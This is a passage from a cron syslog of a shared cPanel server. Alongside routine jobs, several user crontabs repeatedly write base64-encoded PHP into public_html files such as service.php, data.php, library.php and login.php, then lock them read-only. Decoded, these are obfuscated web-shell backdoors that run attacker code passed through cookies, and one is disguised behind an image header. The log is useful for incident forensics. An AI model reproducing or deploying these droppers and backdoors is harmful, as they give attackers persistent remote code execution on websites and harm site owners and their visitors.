"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:32:02 medusa CROND[2895]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:32:02 medusa CROND[2896]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:32:02 medusa CROND[2897]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:32:02 medusa CROND[2901]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:32:02 medusa CROND[2902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:32:02 medusa CROND[2903]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:32:02 medusa CROND[2904]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:32:02 medusa CROND[2905]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:32:02 medusa CROND[2906]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:32:02 medusa CROND[2907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:32:02 medusa CROND[2910]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:33:01 medusa CROND[4595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:33:02 medusa CROND[4599]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:33:02 medusa CROND[4600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:33:02 medusa CROND[4601]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:33:02 medusa CROND[4603]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:33:02 medusa CROND[4604]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:33:02 medusa CROND[4605]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:33:02 medusa CROND[4609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:33:02 medusa CROND[4611]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:33:02 medusa CROND[4610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:33:02 medusa CROND[4612]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:33:02 medusa CROND[4613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:34:01 medusa CROND[6360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:34:01 medusa CROND[6367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:34:01 medusa CROND[6368]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:34:01 medusa CROND[6369]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:34:01 medusa CROND[6370]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:34:01 medusa CROND[6371]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:34:01 medusa CROND[6375]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:34:01 medusa CROND[6378]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 